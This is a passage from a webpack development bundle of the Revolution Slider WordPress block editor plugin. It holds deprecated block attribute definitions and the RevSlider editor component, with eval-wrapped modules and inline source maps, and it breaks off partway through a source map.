text: {\n selector: '.revslider',\n type: 'string',\n source: 'text'\n },\n sliderTitle: {\n selector: '.revslider',\n type: 'string',\n source: 'attribute',\n attribute: 'data-slidertitle'\n },\n sliderImage: {\n type: 'string'\n },\n hideSliderImage: {\n boolean: false\n },\n offset: {\n type: 'object'\n },\n layout: {\n type: 'string '\n },\n alias: {\n type: 'string'\n },\n zindex: {\n type: 'string'\n },\n shortcode: {\n type: 'string'\n }\n },\n save: function save(props) {\n var _props$attributes2 = props.attributes,\n text = _props$attributes2.text,\n sliderTitle = _props$attributes2.sliderTitle,\n modal = _props$attributes2.modal,\n zindex = _props$attributes2.zindex;\n\n var style = void 0;\n style = zindex ? \"z-index:\" + zindex + \";\" : \"\";\n return wp.element.createElement(\n 'div',\n { className: 'revslider', 'data-modal': modal, 'data-slidertitle': sliderTitle, style: style },\n text\n );\n }\n}, {\n attributes: {\n checked: {\n type: 'boolean',\n default: false\n },\n modal: {\n type: 'boolean',\n default: false\n },\n popup: {\n type: 'object'\n },\n content: {\n selector: '.revslider',\n type: 'string',\n source: 'text'\n },\n text: {\n selector: '.revslider',\n type: 'string',\n source: 'text'\n },\n sliderTitle: {\n selector: '.revslider',\n type: 'string',\n source: 'attribute',\n attribute: 'data-slidertitle'\n },\n sliderImage: {\n type: 'string'\n },\n hideSliderImage: {\n boolean: false\n },\n offset: {\n type: 'object'\n },\n layout: {\n type: 'string '\n },\n alias: {\n type: 'string'\n },\n zindex: {\n type: 'string'\n },\n shortcode: {\n type: 'string'\n }\n },\n save: function save(props) {\n var _props$attributes3 = props.attributes,\n text = _props$attributes3.text,\n content = _props$attributes3.content,\n sliderTitle = _props$attributes3.sliderTitle,\n modal = _props$attributes3.modal,\n zindex = _props$attributes3.zindex;\n\n var style = void 0;\n style = zindex ? \"z-index:\" + zindex + \";\" : \"\";\n var shortcode = !content && text ? text : content;\n return wp.element.createElement(\n 'div',\n { className: 'revslider', 'data-modal': modal, 'data-slidertitle': sliderTitle, style: style },\n shortcode\n );\n }\n}];\n\n//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiNC5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9yZXZzbGlkZXIvZGVwcmVjYXRlZC5qcz8yZWJhIl0sInNvdXJjZXNDb250ZW50IjpbInZhciBkZXByZWNhdGVkID0gW3tcbiAgYXR0cmlidXRlczoge1xuICAgIGNoZWNrZWQ6IHtcbiAgICAgIHR5cGU6ICdib29sZWFuJyxcbiAgICAgIGRlZmF1bHQ6IGZhbHNlXG4gICAgfSxcbiAgICBtb2RhbDoge1xuICAgICAgdHlwZTogJ2Jvb2xlYW4nLFxuICAgICAgZGVmYXVsdDogZmFsc2VcbiAgICB9LFxuICAgIHRleHQ6IHtcbiAgICAgIHNlbGVjdG9yOiAnLnJldnNsaWRlcicsXG4gICAgICB0eXBlOiAnc3RyaW5nJyxcbiAgICAgIHNvdXJjZTogJ3RleHQnXG4gICAgfSxcbiAgICBzbGlkZXJUaXRsZToge1xuICAgICAgc2VsZWN0b3I6ICcucmV2c2xpZGVyJyxcbiAgICAgIHR5cGU6ICdzdHJpbmcnLFxuICAgICAgc291cmNlOiAnYXR0cmlidXRlJyxcbiAgICAgIGF0dHJpYnV0ZTogJ2RhdGEtc2xpZGVydGl0bGUnXG4gICAgfSxcbiAgICBzbGlkZXJJbWFnZToge1xuICAgICAgdHlwZTogJ3N0cmluZydcbiAgICB9LFxuICAgIGhpZGVTbGlkZXJJbWFnZToge1xuICAgICAgYm9vbGVhbjogZmFsc2VcbiAgICB9XG4gIH0sXG4gIHNhdmU6IGZ1bmN0aW9uIHNhdmUocHJvcHMpIHtcbiAgICB2YXIgX3Byb3BzJGF0dHJpYnV0ZXMgPSBwcm9wcy5hdHRyaWJ1dGVzLFxuICAgICAgICB0ZXh0ID0gX3Byb3BzJGF0dHJpYnV0ZXMudGV4dCxcbiAgICAgICAgc2xpZGVyVGl0bGUgPSBfcHJvcHMkYXR0cmlidXRlcy5zbGlkZXJUaXRsZSxcbiAgICAgICAgbW9kYWwgPSBfcHJvcHMkYXR0cmlidXRlcy5tb2RhbDtcblxuICAgIHJldHVybiB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAnZGl2JyxcbiAgICAgIHsgY2xhc3NOYW1lOiAncmV2c2xpZGVyJywgJ2RhdGEtbW9kYWwnOiBtb2RhbCwgJ2RhdGEtc2xpZGVydGl0bGUnOiBzbGlkZXJUaXRsZSB9LFxuICAgICAgdGV4dFxuICAgICk7XG4gIH1cbn0sIHtcbiAgYXR0cmlidXRlczoge1xuICAgIGNoZWNrZWQ6IHtcbiAgICAgIHR5cGU6ICdib29sZWFuJyxcbiAgICAgIGRlZmF1bHQ6IGZhbHNlXG4gICAgfSxcbiAgICB0ZXh0OiB7XG4gICAgICBzZWxlY3RvcjogJy5yZXZzbGlkZXInLFxuICAgICAgdHlwZTogJ3N0cmluZycsXG4gICAgICBzb3VyY2U6ICd0ZXh0J1xuICAgIH0sXG4gICAgc2xpZGVyVGl0bGU6IHtcbiAgICAgIHNlbGVjdG9yOiAnLnJldnNsaWRlcicsXG4gICAgICB0eXBlOiAnc3RyaW5nJyxcbiAgICAgIHNvdXJjZTogJ2F0dHJpYnV0ZScsXG4gICAgICBhdHRyaWJ1dGU6ICdkYXRhLXNsaWRlcnRpdGxlJ1xuICAgIH1cbiAgfSxcbiAgc2F2ZTogZnVuY3Rpb24gc2F2ZShwcm9wcykge1xuICAgIHJldHVybiB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAnZGl2JyxcbiAgICAgIHsgY2xhc3NOYW1lOiAncmV2c2xpZGVyJywgJ2RhdGEtc2xpZGVydGl0bGUnOiBwcm9wcy5hdHRyaWJ1dGVzLnNsaWRlclRpdGxlIH0sXG4gICAgICBwcm9wcy5hdHRyaWJ1dGVzLnRleHRcbiAgICApO1xuICB9XG59LCB7XG4gIGF0dHJpYnV0ZXM6IHtcbiAgICBjaGVja2VkOiB7XG4gICAgICB0eXBlOiAnYm9vbGVhbicsXG4gICAgICBkZWZhdWx0OiBmYWxzZVxuICAgIH0sXG4gICAgbW9kYWw6IHtcbiAgICAgIHR5cGU6ICdib29sZWFuJyxcbiAgICAgIGRlZmF1bHQ6IGZhbHNlXG4gICAgfSxcbiAgICBwb3B1cDoge1xuICAgICAgdHlwZTogJ29iamVjdCdcbiAgICB9LFxuICAgIHRleHQ6IHtcbiAgICAgIHNlbGVjdG9yOiAnLnJldnNsaWRlcicsXG4gICAgICB0eXBlOiAnc3RyaW5nJyxcbiAgICAgIHNvdXJjZTogJ3RleHQnXG4gICAgfSxcbiAgICBzbGlkZXJUaXRsZToge1xuICAgICAgc2VsZWN0b3I6ICcucmV2c2xpZGVyJyxcbiAgICAgIHR5cGU6ICdzdHJpbmcnLFxuICAgICAgc291cmNlOiAnYXR0cmlidXRlJyxcbiAgICAgIGF0dHJpYnV0ZTogJ2RhdGEtc2xpZGVydGl0bGUnXG4gICAgfSxcbiAgICBzbGlkZXJJbWFnZToge1xuICAgICAgdHlwZTogJ3N0cmluZydcbiAgICB9LFxuICAgIGhpZGVTbGlkZXJJbWFnZToge1xuICAgICAgYm9vbGVhbjogZmFsc2VcbiAgICB9LFxuICAgIG9mZnNldDoge1xuICAgICAgdHlwZTogJ29iamVjdCdcbiAgICB9LFxuICAgIGxheW91dDoge1xuICAgICAgdHlwZTogJ3N0cmluZyAnXG4gICAgfSxcbiAgICBhbGlhczoge1xuICAgICAgdHlwZTogJ3N0cmluZydcbiAgICB9LFxuICAgIHppbmRleDoge1xuICAgICAgdHlwZTogJ3N0cmluZydcbiAgICB9LFxuICAgIHNob3J0Y29kZToge1xuICAgICAgdHlwZTogJ3N0cmluZydcbiAgICB9XG4gIH0sXG4gIHNhdmU6IGZ1bmN0aW9uIHNhdmUocHJvcHMpIHtcbiAgICB2YXIgX3Byb3BzJGF0dHJpYnV0ZXMyID0gcHJvcHMuYXR0cmlidXRlcyxcbiAgICAgICAgdGV4dCA9IF9wcm9wcyRhdHRyaWJ1dGVzMi50ZXh0LFxuICAgICAgICBzbGlkZXJUaXRsZSA9IF9wcm9wcyRhdHRyaWJ1dGVzMi5zbGlkZXJUaXRsZSxcbiAgICAgICAgbW9kYWwgPSBfcHJvcHMkYXR0cmlidXRlczIubW9kYWwsXG4gICAgICAgIHppbmRleCA9IF9wcm9wcyRhdHRyaWJ1dGVzMi56aW5kZXg7XG5cbiAgICB2YXIgc3R5bGUgPSB2b2lkIDA7XG4gICAgc3R5bGUgPSB6aW5kZXggPyBcInotaW5kZXg6XCIgKyB6aW5kZXggKyBcIjtcIiA6IFwiXCI7XG4gICAgcmV0dXJuIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcbiAgICAgICdkaXYnLFxuICAgICAgeyBjbGFzc05hbWU6ICdyZXZzbGlkZXInLCAnZGF0YS1tb2RhbCc6IG1vZGFsLCAnZGF0YS1zbGlkZXJ0aXRsZSc6IHNsaWRlclRpdGxlLCBzdHlsZTogc3R5bGUgfSxcbiAgICAgIHRleHRcbiAgICApO1xuICB9XG59LCB7XG4gIGF0dHJpYnV0ZXM6IHtcbiAgICBjaGVja2VkOiB7XG4gICAgICB0eXBlOiAnYm9vbGVhbicsXG4gICAgICBkZWZhdWx0OiBmYWxzZVxuICAgIH0sXG4gICAgbW9kYWw6IHtcbiAgICAgIHR5cGU6ICdib29sZWFuJyxcbiAgICAgIGRlZmF1bHQ6IGZhbHNlXG4gICAgfSxcbiAgICBwb3B1cDoge1xuICAgICAgdHlwZTogJ29iamVjdCdcbiAgICB9LFxuICAgIGNvbnRlbnQ6IHtcbiAgICAgIHNlbGVjdG9yOiAnLnJldnNsaWRlcicsXG4gICAgICB0eXBlOiAnc3RyaW5nJyxcbiAgICAgIHNvdXJjZTogJ3RleHQnXG4gICAgfSxcbiAgICB0ZXh0OiB7XG4gICAgICBzZWxlY3RvcjogJy5yZXZzbGlkZXInLFxuICAgICAgdHlwZTogJ3N0cmluZycsXG4gICAgICBzb3VyY2U6ICd0ZXh0J1xuICAgIH0sXG4gICAgc2xpZGVyVGl0bGU6IHtcbiAgICAgIHNlbGVjdG9yOiAnLnJldnNsaWRlcicsXG4gICAgICB0eXBlOiAnc3RyaW5nJyxcbiAgICAgIHNvdXJjZTogJ2F0dHJpYnV0ZScsXG4gICAgICBhdHRyaWJ1dGU6ICdkYXRhLXNsaWRlcnRpdGxlJ1xuICAgIH0sXG4gICAgc2xpZGVySW1hZ2U6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcnXG4gICAgfSxcbiAgICBoaWRlU2xpZGVySW1hZ2U6IHtcbiAgICAgIGJvb2xlYW46IGZhbHNlXG4gICAgfSxcbiAgICBvZmZzZXQ6IHtcbiAgICAgIHR5cGU6ICdvYmplY3QnXG4gICAgfSxcbiAgICBsYXlvdXQ6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcgJ1xuICAgIH0sXG4gICAgYWxpYXM6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcnXG4gICAgfSxcbiAgICB6aW5kZXg6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcnXG4gICAgfSxcbiAgICBzaG9ydGNvZGU6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcnXG4gICAgfVxuICB9LFxuICBzYXZlOiBmdW5jdGlvbiBzYXZlKHByb3BzKSB7XG4gICAgdmFyIF9wcm9wcyRhdHRyaWJ1dGVzMyA9IHByb3BzLmF0dHJpYnV0ZXMsXG4gICAgICAgIHRleHQgPSBfcHJvcHMkYXR0cmlidXRlczMudGV4dCxcbiAgICAgICAgY29udGVudCA9IF9wcm9wcyRhdHRyaWJ1dGVzMy5jb250ZW50LFxuICAgICAgICBzbGlkZXJUaXRsZSA9IF9wcm9wcyRhdHRyaWJ1dGVzMy5zbGlkZXJUaXRsZSxcbiAgICAgICAgbW9kYWwgPSBfcHJvcHMkYXR0cmlidXRlczMubW9kYWwsXG4gICAgICAgIHppbmRleCA9IF9wcm9wcyRhdHRyaWJ1dGVzMy56aW5kZXg7XG5cbiAgICB2YXIgc3R5bGUgPSB2b2lkIDA7XG4gICAgc3R5bGUgPSB6aW5kZXggPyBcInotaW5kZXg6XCIgKyB6aW5kZXggKyBcIjtcIiA6IFwiXCI7XG4gICAgdmFyIHNob3J0Y29kZSA9ICFjb250ZW50ICYmIHRleHQgPyB0ZXh0IDogY29udGVudDtcbiAgICByZXR1cm4gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgJ2RpdicsXG4gICAgICB7IGNsYXNzTmFtZTogJ3JldnNsaWRlcicsICdkYXRhLW1vZGFsJzogbW9kYWwsICdkYXRhLXNsaWRlcnRpdGxlJzogc2xpZGVyVGl0bGUsIHN0eWxlOiBzdHlsZSB9LFxuICAgICAgc2hvcnRjb2RlXG4gICAgKTtcbiAgfVxufV07XG5cbmV4cG9ydCB7IGRlcHJlY2F0ZWQgfTtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL3NyYy9yZXZzbGlkZXIvZGVwcmVjYXRlZC5qc1xuLy8gbW9kdWxlIGlkID0gNFxuLy8gbW9kdWxlIGNodW5rcyA9IDAiXSwibWFwcGluZ3MiOiJBQUFBO0FBQUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7Iiwic291cmNlUm9vdCI6IiJ9\n//# sourceURL=webpack-internal:///4\n"); /***/ }), /* 5 */ /*!************************************!*\ !*** ./src/revslider/revslider.js ***! \************************************/ /*! exports provided: RevSlider */ /*! exports used: RevSlider */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; eval("/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"a\", function() { return RevSlider; });\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__revSliderImage__ = __webpack_require__(/*! ./revSliderImage */ 6);\nvar _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\n/**\n * RevSlider Editor Element\n */\n\n/**\n * Internal block libraries\n*/\nvar Component = wp.element.Component;\nvar _wp$components = wp.components,\n TextControl = _wp$components.TextControl,\n Button = _wp$components.Button,\n Tooltip = _wp$components.Tooltip;\n\nif (typeof wp.blockEditor !== 'undefined') var _wp$blockEditor = wp.blockEditor,\n InspectorControls = _wp$blockEditor.InspectorControls,\n InspectorAdvancedControls = _wp$blockEditor.InspectorAdvancedControls;else var _wp$editor = wp.editor,\n InspectorControls = _wp$editor.InspectorControls,\n InspectorAdvancedControls = _wp$editor.InspectorAdvancedControls;\n\n\n\n/**\n * Component RevSlider for usage in block\n*/\nvar RevSlider = function (_Component) {\n _inherits(RevSlider, _Component);\n\n function RevSlider() {\n _classCallCheck(this, RevSlider);\n\n var _this = _possibleConstructorReturn(this, (RevSlider.__proto__ || Object.getPrototypeOf(RevSlider)).apply(this, arguments));\n\n _this.openBlockSettings = function () {\n var data = false;\n RVS.SC.BLOCK = _this.state;\n revslider_react = _this;\n if (!_this.props.attributes.alias) return false;\n RVS.SC.openBlockSettings('gutenberg', _this.props.attributes.content);\n };\n\n _this.openLibrary = function () {\n revslider_react = _this;\n RVS.SC.BLOCK = _this.props.attributes;\n RVS.SC.openTemplateLibrary('gutenberg');\n };\n\n _this.openSliderEditor = function () {\n if (!_this.props.attributes.alias) return false;\n RVS.SC.openSliderEditor(_this.props.attributes.alias);\n };\n\n _this.setwrapperid = function (value) {\n revslider_react = _this;\n _this.props.setAttributes({ wrapperid: value });\n RVS.SC.BLOCK = _this.state;\n RVS.SC.BLOCK.wrapperid = value;\n };\n\n _this.openOptimizer = function () {\n if (!_this.props.attributes.alias) return false;\n RVS.SC.openOptimizer(_this.props.attributes.alias);\n };\n\n _this.setSliderAttributes = function (alias) {\n setAttributes({ alias: alias });\n setAttributes({ sliderImage: _this.state.sliderImage });\n };\n\n _this.state = jQuery.extend(true, {}, _this.props.attributes);\n window.revslider_react = {};\n return _this;\n }\n\n _createClass(RevSlider, [{\n key: 'componentDidMount',\n value: function componentDidMount() {\n revslider_react = this;\n // Create Block in RVS with current state\n RVS.SC.BLOCK = this.state;\n // Open Template Library when block is added for the first time to the page\n if (!this.props.attributes.content && !this.props.attributes.text) {\n // Check if in widget area, then do not open the template library automatically\n if (wp.data.select('core/editor') != null && wp.data.select('core/editor').isEditedPostDirty()) RVS.SC.openTemplateLibrary('gutenberg');else return false;\n } else {\n // Fallback for saved blocks with no alias attribute (< RevSlider V6.1.6)\n if (!this.props.attributes.alias) {\n var shortcode = this.props.attributes.content !== undefined ? RVS.SC.parseShortCode(this.props.attributes.content) : RVS.SC.parseShortCode(this.props.attributes.text);\n if (shortcode.attributes.alias) {\n this.props.attributes.alias = shortcode.attributes.alias;\n RVS.SC.BLOCK.alias = this.props.attributes.alias;\n this.props.setAttributes({ alias: shortcode.attributes.alias });\n }\n }\n if (!this.props.attributes.slidertitle) {\n if (this.props.attributes.sliderTitle) {\n this.props.setAttributes({ slidertitle: this.props.attributes.sliderTitle });\n }\n }\n }\n }\n\n // Open Block Settings like offset, popup, admin thumb\n\n\n // Open Template Library\n\n\n // Link to Slider Editor in new tab\n\n\n // Open File Optimizer PopUp\n\n\n // Update Attributes in case Slider alias changes\n\n }, {\n key: 'render',\n value: function render() {\n var _this2 = this;\n\n revslider_react = this;\n // Set Attributes from State (state was changed in RevSlider JS)\n this.props.setAttributes(this.state);\n var setAttributes = this.props.setAttributes;\n\n // Turn off Styling in Block Options Sidebar when leaving block\n\n {\n !this.props.isSelected && RVS.SC.updateBlockViews(false);\n }\n\n if (!this.props.attributes.slidertitle) {\n if (this.props.attributes.sliderTitle) {\n this.props.setAttributes({ slidertitle: this.props.attributes.sliderTitle });\n }\n }\n\n return [wp.element.createElement(\n InspectorControls,\n null,\n this.props.attributes.alias && wp.element.createElement(\n 'div',\n { className: 'rs_optimizer_button_wrapper', onClick: this.openOptimizer },\n wp.element.createElement(\n Button,\n {\n isDefault: true,\n className: 'rs_optimizer_button'\n },\n 'flash_on'\n ),\n wp.element.createElement(\n 'span',\n null,\n 'Optimize File Sizes'\n )\n )\n ), wp.element.createElement(\n InspectorAdvancedControls,\n null,\n wp.element.createElement(TextControl, {\n label: 'Module Wrapper IDs',\n value: this.props.attributes.wrapperid,\n onChange: function onChange(value) {\n return _this2.setwrapperid(value);\n },\n help: 'Enter a word or two \\u2014 without spaces or special characters \\u2014 to make a unique web address just for this module.'\n })\n ),, wp.element.createElement(\n 'div',\n { className: 'revslider_block', 'data-modal': this.props.attributes.modal },\n wp.element.createElement(\n 'div',\n { 'class': 'sliderBar' },\n wp.element.createElement(\n 'span',\n null,\n this.props.attributes.slidertitle,\n '\\xA0'\n ),\n wp.element.createElement(TextControl, {\n className: 'slider_slug',\n value: this.props.attributes.content,\n onChange: function onChange(content) {\n return setSliderAttributes(_this2.props.attributes.content);\n }\n }),\n wp.element.createElement(\n Tooltip,\n { text: 'Open Block Settings' },\n wp.element.createElement(\n Button,\n {\n isDefault: true,\n onClick: this.openBlockSettings,\n className: 'slider_editor_button'\n },\n 'tune'\n )\n ),\n wp.element.createElement(\n Tooltip,\n { text: 'Open Slider Editor' },\n wp.element.createElement(\n Button,\n {\n isDefault: true,\n onClick: this.openSliderEditor,\n className: 'slider_editor_button'\n },\n 'edit'\n )\n ),\n wp.element.createElement(\n Button,\n {\n isDefault: true,\n onClick: this.openLibrary,\n className: 'slider_edit_button'\n },\n 'Select Module'\n )\n ),\n wp.element.createElement(__WEBPACK_IMPORTED_MODULE_0__revSliderImage__[\"a\" /* RevSliderImage */], Object.assign({ setAttributes: setAttributes }, this.props))\n )];\n }\n }]);\n\n return RevSlider;\n}(Component);//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiNS5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9yZXZzbGlkZXIvcmV2c2xpZGVyLmpzPzRmMWQiXSwic291cmNlc0NvbnRlbnQiOlsidmFyIF9jcmVhdGVDbGFzcyA9IGZ1bmN0aW9uICgpIHsgZnVuY3Rpb24gZGVmaW5lUHJvcGVydGllcyh0YXJnZXQsIHByb3BzKSB7IGZvciAodmFyIGkgPSAwOyBpIDwgcHJvcHMubGVuZ3RoOyBpKyspIHsgdmFyIGRlc2NyaXB0b3IgPSBwcm9wc1tpXTsgZGVzY3JpcHRvci5lbnVtZXJhYmxlID0gZGVzY3JpcHRvci5lbnVtZXJhYmxlIHx8IGZhbHNlOyBkZXNjcmlwdG9yLmNvbmZpZ3VyYWJsZSA9IHRydWU7IGlmIChcInZhbHVlXCIgaW4gZGVzY3JpcHRvcikgZGVzY3JpcHRvci53cml0YWJsZSA9IHRydWU7IE9iamVjdC5kZWZpbmVQcm9wZXJ0eSh0YXJnZXQsIGRlc2NyaXB0b3Iua2V5LCBkZXNjcmlwdG9yKTsgfSB9IHJldHVybiBmdW5jdGlvbiAoQ29uc3RydWN0b3IsIHByb3RvUHJvcHMsIHN0YXRpY1Byb3BzKSB7IGlmIChwcm90b1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLnByb3RvdHlwZSwgcHJvdG9Qcm9wcyk7IGlmIChzdGF0aWNQcm9wcykgZGVmaW5lUHJvcGVydGllcyhDb25zdHJ1Y3Rvciwgc3RhdGljUHJvcHMpOyByZXR1cm4gQ29uc3RydWN0b3I7IH07IH0oKTtcblxuZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKFwiQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uXCIpOyB9IH1cblxuZnVuY3Rpb24gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4oc2VsZiwgY2FsbCkgeyBpZiAoIXNlbGYpIHsgdGhyb3cgbmV3IFJlZmVyZW5jZUVycm9yKFwidGhpcyBoYXNuJ3QgYmVlbiBpbml0aWFsaXNlZCAtIHN1cGVyKCkgaGFzbid0IGJlZW4gY2FsbGVkXCIpOyB9IHJldHVybiBjYWxsICYmICh0eXBlb2YgY2FsbCA9PT0gXCJvYmplY3RcIiB8fCB0eXBlb2YgY2FsbCA9PT0gXCJmdW5jdGlvblwiKSA/IGNhbGwgOiBzZWxmOyB9XG5cbmZ1bmN0aW9uIF9pbmhlcml0cyhzdWJDbGFzcywgc3VwZXJDbGFzcykgeyBpZiAodHlwZW9mIHN1cGVyQ2xhc3MgIT09IFwiZnVuY3Rpb25cIiAmJiBzdXBlckNsYXNzICE9PSBudWxsKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJTdXBlciBleHByZXNzaW9uIG11c3QgZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiwgbm90IFwiICsgdHlwZW9mIHN1cGVyQ2xhc3MpOyB9IHN1YkNsYXNzLnByb3RvdHlwZSA9IE9iamVjdC5jcmVhdGUoc3VwZXJDbGFzcyAmJiBzdXBlckNsYXNzLnByb3RvdHlwZSwgeyBjb25zdHJ1Y3RvcjogeyB2YWx1ZTogc3ViQ2xhc3MsIGVudW1lcmFibGU6IGZhbHNlLCB3cml0YWJsZTogdHJ1ZSwgY29uZmlndXJhYmxlOiB0cnVlIH0gfSk7IGlmIChzdXBlckNsYXNzKSBPYmplY3Quc2V0UHJvdG90eXBlT2YgPyBPYmplY3Quc2V0UHJvdG90eXBlT2Yoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIDogc3ViQ2xhc3MuX19wcm90b19fID0gc3VwZXJDbGFzczsgfVxuXG4vKipcbiAqIFJldlNsaWRlciBFZGl0b3IgRWxlbWVudFxuICovXG5cbi8qKlxuICogSW50ZXJuYWwgYmxvY2sgbGlicmFyaWVzXG4qL1xudmFyIENvbXBvbmVudCA9IHdwLmVsZW1lbnQuQ29tcG9uZW50O1xudmFyIF93cCRjb21wb25lbnRzID0gd3AuY29tcG9uZW50cyxcbiAgICBUZXh0Q29udHJvbCA9IF93cCRjb21wb25lbnRzLlRleHRDb250cm9sLFxuICAgIEJ1dHRvbiA9IF93cCRjb21wb25lbnRzLkJ1dHRvbixcbiAgICBUb29sdGlwID0gX3dwJGNvbXBvbmVudHMuVG9vbHRpcDtcblxuaWYgKHR5cGVvZiB3cC5ibG9ja0VkaXRvciAhPT0gJ3VuZGVmaW5lZCcpIHZhciBfd3AkYmxvY2tFZGl0b3IgPSB3cC5ibG9ja0VkaXRvcixcbiAgICAgIEluc3BlY3RvckNvbnRyb2xzID0gX3dwJGJsb2NrRWRpdG9yLkluc3BlY3RvckNvbnRyb2xzLFxuICAgICAgSW5zcGVjdG9yQWR2YW5jZWRDb250cm9scyA9IF93cCRibG9ja0VkaXRvci5JbnNwZWN0b3JBZHZhbmNlZENvbnRyb2xzO2Vsc2UgdmFyIF93cCRlZGl0b3IgPSB3cC5lZGl0b3IsXG4gICAgICBJbnNwZWN0b3JDb250cm9scyA9IF93cCRlZGl0b3IuSW5zcGVjdG9yQ29udHJvbHMsXG4gICAgICBJbnNwZWN0b3JBZHZhbmNlZENvbnRyb2xzID0gX3dwJGVkaXRvci5JbnNwZWN0b3JBZHZhbmNlZENvbnRyb2xzO1xuXG5pbXBvcnQgeyBSZXZTbGlkZXJJbWFnZSB9IGZyb20gJy4vcmV2U2xpZGVySW1hZ2UnO1xuXG4vKipcbiAqIENvbXBvbmVudCBSZXZTbGlkZXIgZm9yIHVzYWdlIGluIGJsb2NrXG4qL1xuZXhwb3J0IHZhciBSZXZTbGlkZXIgPSBmdW5jdGlvbiAoX0NvbXBvbmVudCkge1xuICBfaW5oZXJpdHMoUmV2U2xpZGV